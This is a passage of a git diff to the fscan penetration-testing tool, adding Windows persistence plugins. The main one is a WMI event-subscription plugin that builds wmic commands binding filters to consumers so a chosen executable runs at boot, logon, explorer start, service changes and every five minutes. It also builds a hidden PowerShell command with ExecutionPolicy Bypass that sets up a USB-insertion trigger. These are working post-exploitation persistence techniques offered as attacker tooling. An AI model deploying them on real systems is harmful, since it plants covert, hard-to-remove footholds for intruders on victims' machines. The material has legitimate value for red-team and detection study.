检查是否为有效的PE文件 +func (p *WinStartupPlugin) isValidPEFile(filePath string) bool { + ext := strings.ToLower(filepath.Ext(filePath)) + return ext == ".exe" || ext == ".dll" +} + +// RegisterWinStartupPlugin 注册Windows启动文件夹持久化插件 +func RegisterWinStartupPlugin() { + factory := base.NewSimplePluginFactory( + &base.PluginMetadata{ + Name: "winstartup", + Version: "1.0.0", + Author: "fscan-team", + Description: "Windows启动文件夹持久化插件,通过启动文件夹和快捷方式实现持久化", + Category: "local", + Tags: []string{"winstartup", "local", "persistence", "windows"}, + Protocols: []string{"local"}, + }, + func() base.Plugin { + return NewWinStartupPlugin() + }, + ) + + base.GlobalPluginRegistry.Register("winstartup", factory) +} + +// init 插件注册函数 +func init() { + RegisterWinStartupPlugin() +} \ No newline at end of file diff --git a/Plugins/local/winwmi/plugin.go b/Plugins/local/winwmi/plugin.go new file mode 100644 index 0000000..3816f16 --- /dev/null +++ b/Plugins/local/winwmi/plugin.go @@ -0,0 +1,255 @@ +package winwmi + +import ( + "context" + "fmt" + "os" + "path/filepath" + "runtime" + "strings" + + "github.com/shadow1ng/fscan/common" + "github.com/shadow1ng/fscan/plugins/base" + "github.com/shadow1ng/fscan/plugins/local" +) + +// WinWMIPlugin Windows WMI事件订阅持久化插件 - 使用简化架构 +type WinWMIPlugin struct { + *local.BaseLocalPlugin + pePath string +} + +// NewWinWMIPlugin 创建Windows WMI事件订阅持久化插件 - 简化版本 +func NewWinWMIPlugin() *WinWMIPlugin { + // 从全局参数获取PE文件路径 + peFile := common.WinPEFile + if peFile == "" { + peFile = "" // 需要用户指定 + } + + metadata := &base.PluginMetadata{ + Name: "winwmi", + Version: "1.0.0", + Author: "fscan-team", + Description: "Windows WMI事件订阅持久化插件,通过WMI事件触发器实现持久化", + Category: "local", + Tags: []string{"local", "persistence", "windows", "wmi"}, + Protocols: []string{"local"}, + } + + plugin := &WinWMIPlugin{ + BaseLocalPlugin: local.NewBaseLocalPlugin(metadata), + pePath: peFile, + } + + // 只支持Windows平台 + plugin.SetPlatformSupport([]string{"windows"}) + // 需要管理员权限修改WMI订阅 + plugin.SetRequiresPrivileges(true) + + return plugin +} + +// Initialize 初始化插件 +func (p *WinWMIPlugin) Initialize() error { + if p.pePath == "" { + return fmt.Errorf("必须通过 -win-pe 参数指定PE文件路径") + } + + // 检查目标文件是否存在 + if _, err := os.Stat(p.pePath); os.IsNotExist(err) { + return fmt.Errorf("PE文件不存在: %s", p.pePath) + } + + // 检查文件类型 + if !p.isValidPEFile(p.pePath) { + return fmt.Errorf("目标文件必须是PE文件(.exe或.dll): %s", p.pePath) + } + + return p.BaseLocalPlugin.Initialize() +} + +// Scan 重写扫描方法以确保调用正确的ScanLocal实现 +func (p *WinWMIPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) { + return p.ScanLocal(ctx, info) +} + +// ScanLocal 执行Windows WMI事件订阅持久化 - 简化版本 +func (p *WinWMIPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) { + common.LogBase("开始Windows WMI事件订阅持久化...") + + wmiSubscriptions, err := p.createWMIEventSubscriptions(p.pePath) + if err != nil { + return &base.ScanResult{ + Success: false, + Error: err, + }, nil + } + + common.LogInfo(fmt.Sprintf("创建了%d个WMI事件订阅持久化项:", len(wmiSubscriptions))) + for i, subscription := range wmiSubscriptions { + common.LogInfo(fmt.Sprintf("%d. %s", i+1, subscription)) + } + + result := &base.ScanResult{ + Success: true, + Service: "WinWMI", + Banner: fmt.Sprintf("Windows WMI事件订阅持久化已完成 - PE文件: %s 平台: %s", p.pePath, runtime.GOOS), + Extra: map[string]interface{}{ + "pe_file": p.pePath, + "persistence_type": "wmi_event", + "subscriptions_created": len(wmiSubscriptions), + "wmi_subscriptions": wmiSubscriptions, + }, + } + + return result, nil +} + +func (p *WinWMIPlugin) createWMIEventSubscriptions(pePath string) ([]string, error) { + absPath, err := filepath.Abs(pePath) + if err != nil { + return nil, fmt.Errorf("failed to get absolute path: %v", err) + } + + var wmiSubscriptions []string + baseName := filepath.Base(absPath) + baseNameNoExt := baseName[:len(baseName)-len(filepath.Ext(baseName))] + + wmiEventConfigs := []struct { + filterName string + consumerName string + bindingName string + query string + description string + }{ + { + filterName: fmt.Sprintf("SystemBootFilter_%s", baseNameNoExt), + consumerName: fmt.Sprintf("SystemBootConsumer_%s", baseNameNoExt), + bindingName: fmt.Sprintf("SystemBootBinding_%s", baseNameNoExt), + query: "SELECT * FROM Win32_SystemConfigurationChangeEvent", + description: "System Boot Event Trigger", + }, + { + filterName: fmt.Sprintf("ProcessStartFilter_%s", baseNameNoExt), + consumerName: fmt.Sprintf("ProcessStartConsumer_%s", baseNameNoExt), + bindingName: fmt.Sprintf("ProcessStartBinding_%s", baseNameNoExt), + query: "SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'", + description: "Explorer Process Start Trigger", + }, + { + filterName: fmt.Sprintf("UserLogonFilter_%s", baseNameNoExt), + consumerName: fmt.Sprintf("UserLogonConsumer_%s", baseNameNoExt), + bindingName: fmt.Sprintf("UserLogonBinding_%s", baseNameNoExt), + query: "SELECT * FROM Win32_LogonSessionEvent WHERE EventType=2", + description: "User Logon Event Trigger", + }, + { + filterName: fmt.Sprintf("FileCreateFilter_%s", baseNameNoExt), + consumerName: fmt.Sprintf("FileCreateConsumer_%s", baseNameNoExt), + bindingName: fmt.Sprintf("FileCreateBinding_%s", baseNameNoExt), + query: "SELECT * FROM CIM_DataFile WHERE Drive='C:' AND Path='\\\\Windows\\\\System32\\\\'", + description: "File Creation Monitor Trigger", + }, + { + filterName: fmt.Sprintf("ServiceChangeFilter_%s", baseNameNoExt), + consumerName: fmt.Sprintf("ServiceChangeConsumer_%s", baseNameNoExt), + bindingName: fmt.Sprintf("ServiceChangeBinding_%s", baseNameNoExt), + query: "SELECT * FROM Win32_ServiceControlEvent", + description: "Service State Change Trigger", + }, + } + + for _, config := range wmiEventConfigs { + filterCmd := fmt.Sprintf(`wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="%s", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="%s"`, + config.filterName, config.query) + + consumerCmd := fmt.Sprintf(`wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="%s", CommandLineTemplate="\"%s\"", ExecutablePath="\"%s\""`, + config.consumerName, absPath, absPath) + + bindingCmd := fmt.Sprintf(`wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"%s\"", Consumer="CommandLineEventConsumer.Name=\"%s\""`, + config.filterName, config.consumerName) + + wmiSubscriptions = append(wmiSubscriptions, fmt.Sprintf("[%s - Filter] %s", config.description, filterCmd)) + wmiSubscriptions = append(wmiSubscriptions, fmt.Sprintf("[%s - Consumer] %s", config.description, consumerCmd)) + wmiSubscriptions = append(wmiSubscriptions, fmt.Sprintf("[%s - Binding] %s", config.description, bindingCmd)) + } + + timerFilterName := fmt.Sprintf("TimerFilter_%s", baseNameNoExt) + timerConsumerName := fmt.Sprintf("TimerConsumer_%s", baseNameNoExt) + // timerBindingName := fmt.Sprintf("TimerBinding_%s", baseNameNoExt) // 不需要,移除未使用的变量 + + timerQuery := "SELECT * FROM __InstanceModificationEvent WITHIN 300 WHERE TargetInstance ISA 'Win32_PerfRawData_PerfOS_System'" + + timerFilterCmd := fmt.Sprintf(`wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="%s", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="%s"`, + timerFilterName, timerQuery) + + timerConsumerCmd := fmt.Sprintf(`wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="%s", CommandLineTemplate="\"%s\"", ExecutablePath="\"%s\""`, + timerConsumerName, absPath, absPath) + + timerBindingCmd := fmt.Sprintf(`wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"%s\"", Consumer="CommandLineEventConsumer.Name=\"%s\""`, + timerFilterName, timerConsumerName) + + wmiSubscriptions = append(wmiSubscriptions, fmt.Sprintf("[Timer Event (5min) - Filter] %s", timerFilterCmd)) + wmiSubscriptions = append(wmiSubscriptions, fmt.Sprintf("[Timer Event (5min) - Consumer] %s", timerConsumerCmd)) + wmiSubscriptions = append(wmiSubscriptions, fmt.Sprintf("[Timer Event (5min) - Binding] %s", timerBindingCmd)) + + powershellWMIScript := fmt.Sprintf(` +$filterName = "PowerShellFilter_%s" +$consumerName = "PowerShellConsumer_%s" +$bindingName = "PowerShellBinding_%s" + +$Filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{ + Name = $filterName + EventNameSpace = "root\cimv2" + QueryLanguage = "WQL" + Query = "SELECT * FROM Win32_VolumeChangeEvent WHERE EventType=2" +} + +$Consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments @{ + Name = $consumerName + CommandLineTemplate = '"%s"' + ExecutablePath = "%s" +} + +$Binding = Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{ + Filter = $Filter + Consumer = $Consumer +}`, baseNameNoExt, baseNameNoExt, baseNameNoExt, absPath, absPath) + + powershellCmd := fmt.Sprintf(`powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "%s"`, powershellWMIScript) + wmiSubscriptions = append(wmiSubscriptions, fmt.Sprintf("[PowerShell WMI Setup] %s", powershellCmd)) + + return wmiSubscriptions, nil +} + +// isValidPEFile 检查是否为有效的PE文件 +func (p *WinWMIPlugin) isValidPEFile(filePath string) bool { + ext := strings.ToLower(filepath.Ext(filePath)) + return ext == ".exe" || ext == ".dll" +} + +// RegisterWinWMIPlugin 注册Windows WMI事件订阅持久化插件 +func RegisterWinWMIPlugin() { + factory := base.NewSimplePluginFactory( + &base.PluginMetadata{ + Name: "winwmi", + Version: "1.0.0", + Author: "fscan-team", + Description: "Windows WMI事件订阅持久化插件,通过WMI事件触发器实现持久化", + Category: "local", + Tags: []string{"winwmi", "local", "persistence", "windows"}, + Protocols: []string{"local"}, + }, + func() base.Plugin { + return NewWinWMIPlugin() + }, + ) + + base.GlobalPluginRegistry.Register("winwmi", factory) +} + +// init 插件注册函数 +func init() { + RegisterWinWMIPlugin() +} \ No newline at end of file diff --git a/main.go b/main.go index d9e469e..795b3d4 100644 --- a/main.go +++ b/main.go @@ -21,6 +21,13 @@ import ( _ "github.com/shadow1ng/fscan/plugins/local/shellenv" // Linux Shell环境变量持久化 _ "github.com/shadow1ng/fscan/plugins/local/crontask" // Linux Cron计划任务持久化 _ "github.com/shadow1ng/fscan/plugins/local/systemdservice" // Linux Systemd服务持久化 + + // Windows持久化插件 + _ "github.com/shadow1ng/fscan/plugins/local/winregistry" // Windows 注册表持久化 + _ "github.com/shadow1ng/fscan/plugins/local/winstartup" // Windows 启动文件夹持久化 + _ "github.com/shadow1ng/fscan/plugins/local/winschtask" // Windows 计划任务持久化 + _ "github.com/shadow1ng/fscan/plugins/local/winservice" // Windows 服务持久化 + _ "github.com/shadow1ng/fscan/plugins/local/winwmi" // Windows WMI事件订阅持久化 ) func main() {